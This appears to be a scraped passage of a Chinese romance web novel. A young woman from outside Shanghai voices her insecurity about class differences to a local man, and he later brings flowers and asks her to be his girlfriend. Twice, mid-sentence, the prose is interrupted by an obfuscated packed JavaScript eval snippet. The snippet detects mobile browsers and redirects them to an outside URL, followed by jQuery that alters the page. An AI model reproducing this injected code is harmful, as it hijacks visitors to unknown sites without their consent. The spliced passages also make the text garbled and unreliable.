于是当裴雨出现的时候,他们看她的眼神也很清晰——外人中的外人。 不是因为她学历高,也不是因为她性格内敛,而是因为她的“外地感”太明显了。 她不知道“康桥”和“真如”在地图上具体什么位置,不知道地铁几号线换乘最快,不知道他们说的那几个中学、哪家餐厅、哪个拆迁小区。 而宋行舟和她之间的联系,在他们看来,也只是“朋友”。 因为他们无法想象,宋行舟真的会和一个“外地人”谈恋爱。 不是瞧不起,而是天然地觉得“不可能”。 “那个谁,前段时间不是相亲了么?” “哪个?” “就是徐家的,不是说看了个苏州姑娘?” “苏州也算半个本地人了吧?” “但她家房子不在市区,郊区的。” “那不行啊。他妈能同意?徐家阿姨眼光高着呢。” “他倒是没说反对,就是后来见面那姑娘一讲工作,一脸紧张,说自己月薪才八千,我听得都尴尬。” “哎——有啥好尴尬的,人家也不是靠你养。” “但我们又不打算靠她养,就觉得没必要那么焦虑。” “我以前相过一个,央企的,她还跟我说她爸妈觉得我们家太‘闲’,没事业心。” “你爸妈听了笑死了吧?” “我妈说:我们家是没事业心,只有几套房罢了。” 一桌人笑得前仰后合。 裴雨轻轻放下筷子,没再动了。 她忍不住偷偷看了眼宋行舟。 他神色如常,手里还慢慢搅着碗里的汤。似乎早就习惯这些谈话的节奏,甚至有种置身事外的松弛。但他从不否认自己和他们之间的共性。 他就坐在她身边,唇角含笑,仿佛也感受到她的安静,低声问:“吃饱了吗?” 她点点头。 “想不想走一圈消食?” 她又点点头。 “我跟他们说一声。” 他站起身,很自然地在饭桌上说了句:“我们先走啦,吃完也别坐着不动,消化消化。” “行了行了,去吧,小年轻自己玩。” “别带人去操场上跑圈啊,太老套了。” “这小姑娘能看得上你,给我们老宋点面子啊。” “……” 他也只是笑笑,没反驳什么,轻轻地走回来,伸手替她拿走了餐盘。 裴雨就跟在他身后,像是刚从另一个世界里被人带出来,回到了熟悉的现实。 两人走出食堂那刻,空气微凉,夜风带着初春特有的湿意。 她忍不住问:“他们……是不是不觉得你会和我在一起?” 宋行舟脚步一顿,低头看她。 她抿着唇,有点心虚地说:“我刚刚听他们讲话,有点不舒服。不是他们说错了什么,是……那种理所当然的感觉。” “哪种?” “就像他们觉得,我不是他们的圈子,你也不会跟我在一起。” 他安静地看着她。 “我知道你不是那样的人,”她顿了顿,“但我就是想确认一下……我没有想多,对吧?” 他忽然笑了下,眼底有一点她看不懂的光。 “你确实没想多。”他说,“但你也确实想太少了。” “嗯?” 他看着她,语气却不轻不重:“我知道你可能觉得,咱俩不是一个世界的人。但你学历比我高,见识比我广,工作圈子也更大……所以你不知道,我一直也觉得,我追不上你。” 风有些凉,他声音不大,但语气清楚。 “所以这不是‘我会不会和你在一起’的问题,是我一直在努力变成一个,值得你愿意和我在一起的人。” 操场周围种着成排的梧桐树,此刻树叶尚未完全长开,只是稀稀拉拉地冒着青绿。天色已全暗下来,路灯一个一个亮起,照出跑道边两人的影子细细长长。 宋行舟走在她身侧,两人一时都没有说话,只听得见球场上传来的几声笑叫,和鞋底与塑胶跑道接触的细碎摩擦声。 空气有点湿,风拂过耳边的时候带着一点细微的黏。 裴雨低着头,走得不快。她手插在衣服口袋里,指尖在布料里反复揉着自己衣角的下摆。她知道自己心里有话,不说会难受,可一开口,好像就要把那些压了好多年的委屈全都剥开。 她犹豫很久,终于还是缓慢地开了口: “你知不知道,我其实……挺羡慕你的。” 宋行舟偏过头看她,没说话,只是等着她继续说。 “不是……不是说你现在的生活,就是……你整个人身上的状态。”她声音压得很低,像是在说一件不那么光彩的事情,“你从小生活在这里,城市熟得像后院,地铁怎么坐、哪个区发展好、房子要买哪儿,你都知道。我第一次来魔都的时候,坐错两趟地铁,转了三次才找到酒店。那天晚上,我拖着行李坐在街边哭了一会。” 宋行舟的脚步顿了顿。 她没有看他,只是自顾自地说下去。 “你说你学校不怎么样,是本地二本线,其实已经很好了。你高中可以玩一玩,大学可以选自己喜欢的专业,毕业也不担心找不到工作,顶多回家,反正家里总有路。我呢,我从小学开始就在追赶——考第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873543|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,进重点班,考重点高中,进重点大学。我哪次不拼命?” 她抬起头看他,语气里带着一点小心翼翼的锋利,“你们总说‘拼一拼’,可你知道我们这种人拼的是命。你失败一次可能就是换条路走,我失败一次可能就是一辈子翻不了身。” 宋行舟静静听着,眼神没变。 “你说你们家那边的房子可以租出去,有钱花。我租的房子,一年涨一次房租,我都得提前两个月开始找下家。但你现在住的地方,是你名下的房子吧?” 他点了点头。 “我没有家在这儿,魔都没有一寸土地是属于我的。我住的房子是临时的,我现在的工作也可能是临时的,我的人生像是……寄居。” 她说到这里,声音低了些,“你说我骄傲,说我太在意差距。我当然在意,我连走进你朋友那群人中间都觉得喘不过气来。” 她咬了咬牙,停住脚步,眼睛直直望着前方那排被灯光照得发白的树影。 “我甚至有点……嫉妒你。” “嫉妒你天生就在这个城市,嫉妒你有房子、有退路、可以不那么用力地活。你可以做选择,而我只能往前冲——因为如果我慢一点,就要被生活吞掉。” 宋行舟站在她身旁,没有说话。 裴雨很少这样失控地说话,她一向是沉稳的、有规划的,是外企里最靠谱的项目经理,是领导交代任务时最放心的那个人。可此刻她就像一颗终于被过度压榨的橙子,汁液在一点点往外溢。 “我喜欢你。”她低声说,“但我就是……害怕我们不一样。” “怕有一天,我累了,我追不动了,而你可以回到你舒适的圈子里,转身就走。” 话说完的那一刻,世界好像安静了。 连不远处操场边的吵闹声都像被风拉得很远很远。 宋行舟没有立刻回应。 他只是抬头看了一眼天空,风吹过的操场有些冷,他把手插进外套兜里,转过头来,盯着她的眼睛问了一句:“你说完了吗?” 裴雨点点头,声音轻得像风吹过:“差不多。” “那我现在也说了?” “……嗯。” “你说你羡慕我,嫉妒我。”他慢慢开口,声音不重,却有种不容忽视的力量。“可我羡慕你从不怕苦,从不逃避。从小学开始就是年级前几的女生,愿意熬夜学、愿意拼命考,愿意一个人到陌生城市落脚。我小时候成绩一直就那样,家里也没太逼我,考上大学大家就说挺好、可以了。可我心里清楚,我不如你。” 他看着她的眼睛,话像被压了很久,终于可以说出口。 “你看到我松弛,我不否认有家里的原因。可我也从来不是你以为的‘天生不努力’。” 他叹了口气,声音轻了点:“或许我跟你们……不是一类人。但不代表我就会轻易退回到你以为的圈子里。我不是靠家里的资源撑着活下来的,我有自己的工作,自己的生活,也有……自己喜欢的女孩。” “所以你不用怕我会回到‘他们的世界’。” 裴雨咬了咬唇,眼睛微微发红。 宋行舟往前走了一步,轻轻牵住她的手,“你也不需要再追赶。你已经很好了,真的很好。我羡慕你,是因为你从来都知道自己想要什么。” 他顿了顿,“如果我们两个一直都在向前走,会不会其实……也没有那么大的距离?” 裴雨低头,看着两人牵在一起的手指——她的骨节分明,瘦削干净,他的手掌却更宽些,掌心温热,指节粗粝。 她忽然笑了一下,眼眶还红着。 “你是说我们是等速前行?” “差不多。” “那你要是停下来呢?” “那你也可以等我。” 裴雨轻轻叹了口气,把额头抵在他的肩膀上,“我不是不愿意等等看……只是,我真的太累了,太久了,所以才迫切的想要一个答案。” 他伸手抱住她,力道不重,却有种安定感。 “那你歇一会儿。”他说,“我带你走一段。” 42. 请和我在一起吧 裴雨回到家的时候,夜已经深了。 小区门口的保安亭亮着灯,保安正低头看手机,听见脚步声也没抬头,只是随手开了门。裴雨穿过熟悉的小路,心情有点轻飘。整条小路只有她和宋行舟两个人,她一手提着包,一手插在风衣口袋里,手心还隐隐残留着宋行舟的温度。 她刚才没有拒绝他的手。 他也没有松开她。 他们一路牵着手从操场走到校门口。她本来想自己坐地铁回去的,宋行舟却坚持要送,说这都几点了,本来就住的近,他怎么放心让她一个人走。 “你明天不是还要早起吗?”她当时犹豫了一下。 “那我就晚起点,而且又不影响,本来我也要回家。”他说得理所当然,还顺手替她把风衣下摆理了理,“走吧。” 她没再拒绝,反而是心里悄悄雀跃了一下。她以前不是那种轻易就接受别人好意的人,但不知道为什么,面对宋行舟,她总是很容易地被说服。 他开车把她带到小区门口,直到她家楼下。 下车的时候风有点大,她一头长发被吹得乱七八糟。他站在她面前,手指接过她从口袋里掏出的发圈,动作熟练地帮她扎好,说:“你头发太长了,风一吹全缠脸上了。” 她看着他,忽然忍不住笑了一下。 “你干嘛这么熟练?” 他一边给她扎头发,一边说:“以前同宿舍有个谈恋爱的哥们,天天视频的时候学怎么给女朋友扎头发,我在旁边看了两年,不学也会了。” 她看着他,心头忽然有点酸——原来他也曾这么靠近别人的生活,哪怕只是作为朋友、旁观者,也能从中学会一些温柔的技巧。 “好了。”他收起发圈,眼神落在她脸上。 裴雨低头看了看自己的鞋尖,“那我上去了。” 他嗯了一声,没有多说。 她转身走了几步,忍不住又回头。 宋行舟还站在原地,双手插在口袋里,仰头望着她那一层未亮的阳台灯。 她脚步顿住,忽然朝他招了招手。 “再见。”她说。 “明天联系。”他笑了笑,声音温柔。 她推开门回家的时候,屋里一片寂静。 屋子布局简单,但布置得很温暖,墙上挂着她大学时期画的水彩画,沙发上有她经常裹着的那条灰蓝色毛毯。厨房里空无一人,只有一点点饭后余香,像是生活本身的证据。 她换了鞋,洗了把脸,又给自己倒了杯热水。她坐在沙发上,手机还握在手里,灯光把她的影子投在地板上,有些模糊。 忽然之间,她安静下来,脑海里闪过一个想法。 ——他们今天,其实没有确定下来关系。 她愣了好几秒。 是啊,他们牵手了,拥抱了,也说了很多话,她甚至和他说出了她这些年不曾说出口的心事。他听了,也回应了。他说他不在那个世界,他说他们的差距没那么大,他说“那你歇一会儿,我带你走一段。” 可是,没人说“我们在一起吧”。 甚至连一句“你愿意做我女朋友吗?”都没有。 他们只是走着走着,就牵了手。他们只是沉默了一下,就抱住了彼此。他只是很自然地送她走到了楼下,然后说了句“明天联系”。 而她就那样,高高兴兴地回了家,像是全世界都圆满了。 可现在,夜深人静,意识逐渐清明下来,她忽然感到一种难以言说的不安。 这到底算什么呢? 如果她明天再也没收到他的消息,那今天晚上的一切算什么? 如果他只是觉得她“太累了,想带她走一段”,那这一段到底是多长?是从校门口到地铁站的一站地?还是从今晚开始的一场长跑? 她猛地站起来,倒回厨房,又给自己接了点水,喝了一口。 冰凉的水滑下喉咙,她却觉得心口还闷着一块东西。 手机屏幕忽然亮了一下,是宋行舟发来的消息。 【你进屋了吗?】 她几乎是立刻回了过去:【进了。你呢?】 【刚回家。明天调班了,不用早起,今晚可以多睡会。】 她盯着屏幕,打了又删,删了又打。 最后只发过去一句:【那你也早点睡。】 宋行舟回了一个【嗯】字。 然后屏幕就黑了。 她盯着那片黑,眼神有些空。 不是她矫情,也不是她非要一个标签,可是他们之间那些没有说出口的东西,就像一层透明膜,轻飘飘地笼在他们之间。温柔,亲密,可也模糊得不真实。 她想知道,他是怎么想的。 她也想知道,她是不是在某种程度上,被温柔地搁置了。 她不想再像从前那样被动——等着别人明确心意,等着别人来给关系命名。 她是裴雨,她努力了这么多年,不是为了在亲密关系中继续当那个“等等看”的人。 她打开和宋行舟的对话框,指尖犹豫几次,还是敲下了一句话。 【我问你个事。】 那边很快回了:【你说。】 她咬咬牙,发了过去:【我们今天牵手了。你是觉得,我们算是在一起了吗?还是……还不是?】 发完这句话,她把手机倒扣在桌子上,不敢看。 手机屏幕倒扣在桌上,震动的时候,裴雨几乎是下意识弹了一下。 她怔了一下,下意识看向那一小片亮起的屏幕。 是宋行舟的电话。 不是消息,不是语音,是电话。 她的心倏地提了起来,甚至在划开接听键时,手心都是凉的。 “喂……”她的声音有些不自然,语尾带着轻微的颤。 电话那头并没有立刻说话,像是隔了半秒钟,才传来熟悉的嗓音:“要下来么?” 她怔了一下,没太反应过来:“啊?” “我在你楼下。”他声音低低的,带着一丝夜晚独有的宁静,“买了一束花,不知道你想不想收。” 裴雨愣住了。 她的嗓子像是被什么哽住了,半天才找回声音:“你……你怎么又来了?” “不是刚才送我回家了吗?” “你问我,我们算是在一起了吗。”他声音很轻,却极其坚定,“我想了一会儿,觉得这种问题不能回消息说。” “你在等我回复的时候,是不是很难受?”他又问。 裴雨喉咙一紧:“……有点。” “那快下来。” “嗯。” 她没有再多问,甚至没有细想自己是不是该补点妆,是不是该换双鞋,只穿了件家居服、套了件外套就往楼下奔。 宋行舟站在小区门口的路灯下。 灯光不算明亮,有点昏黄,却刚好打在他肩上。他穿着那件她熟悉的浅灰色衣服,手里拿着一束不算华丽的花束,是她最喜欢的香槟色玫瑰和少量的尤加利叶,搭配得很清爽,看得出是花店挑过的。 见她出来,他笑了一下,举了举手里的花:“刚好路过花店,还没打烊,看见就想买给你。” 裴雨站在他面前,一时间竟然不知道说什么。 她原本是还算能言善道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874449|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,可面对他的时候,总有那么几个瞬间,大脑会短路。 “你……”她低头看了看花,又抬头看他,“为什么要买花?” “因为我觉得,你那句话,不该让我只是发一个‘嗯’字回你。”他把花递到她手上,“我想郑重一点。” “我们算是在一起了吗?”她抬头看他,眼睛亮亮的。 “是。”他说。 “只要你愿意。” 裴雨没想到他会说得这么直接,这么不拖泥带水。她怔了怔,捏着花的手指轻轻用力了一下。 宋行舟伸手,轻轻替她理了理被风吹乱的发丝,语气柔和:“我知道你其实一直在犹豫,我也有点犹豫。” “不是犹豫要不要和你在一起,而是犹豫,我是不是足够好。” “你很努力,走了很远的路,靠自己到了现在这个位置。我看着你,会想,是不是我不够匹配你。” 裴雨张了张嘴,没说出话来。 宋行舟像是知道她在想什么,轻笑了一声,“但后来我想明白了,这事不能让我一个人纠结。你问我,我们算是在一起了吗。我也想问你,你想不想和我在一起。” 裴雨一动不动地站着,眼里有一点点湿意。 风吹过来,她手里的花轻轻晃了一下,香味一点点钻进鼻腔,像是这个夜晚格外温柔。 “我想。”她小声说。 “我就是……不知道该怎么问,也不知道你会不会觉得我太敏感。”她低头,看着脚下的影子,“你也没说你喜欢我,咱们今天就这样走了一天,我回家之后忽然就开始想,是不是其实我自己会错了意。” “你没会错意。”宋行舟拉住她的手,很轻,却稳稳地握住了,“我喜欢你,从好早以前就喜欢你了。” “从你第一次拉着我在大雨里奔跑,鼻尖汗湿湿的那天。” 裴雨抬头看他,眼睛有点红。 “那你为什么一直都没说?”她语气软软的,有点像撒娇。 宋行舟笑了,低头在她额头上轻轻点了一下:“因为你看起来不太像会被人追就停下脚步的女孩。” “你一直都走得很快。我怕我追不上你。” “可你今天停下来了。”他说。 “我不想错过。” 裴雨笑了,笑着笑着,眼泪竟然从眼角滑了下来。 她很快擦掉,不想让自己看起来太狼狈:“我没有你想的那么厉害。” “我也很累,很容易慌张,也怕做错选择,也怕自己坚持的那些东西……其实是错的。” 宋行舟低头看着她,轻声说:“没关系,我不急。你想慢一点也可以,想停一停也行。” “我在这儿,你想走多远就走多远,不想走了,我就陪你坐会儿。” 这句话像一根羽毛,轻轻拂过裴雨心里最柔软的地方。 她点了点头,又摇头,最后干脆上前一步,轻轻抱住了他。 花被挤在两人之间,有点硌,她不在意。他也没有松手,只是低低地笑了一声,像是终于放下了什么。 这一抱,软软的,很安静,像这个夜晚,像他们之间那个终于清晰了的答案。 “所以……”裴雨轻声说,“你现在是我男朋友了?” “嗯。”宋行舟声音带着笑意,“我很愿意。” “那你要不要把刚才那束花重新递一遍?”她笑着抬头,“我刚刚有点没反应过来。” “好。”宋行舟松开她,把花举到她面前,“裴雨小姐,请收下这束花,和我在一起吧。” 她笑了,眼里都是光。 “我愿意。”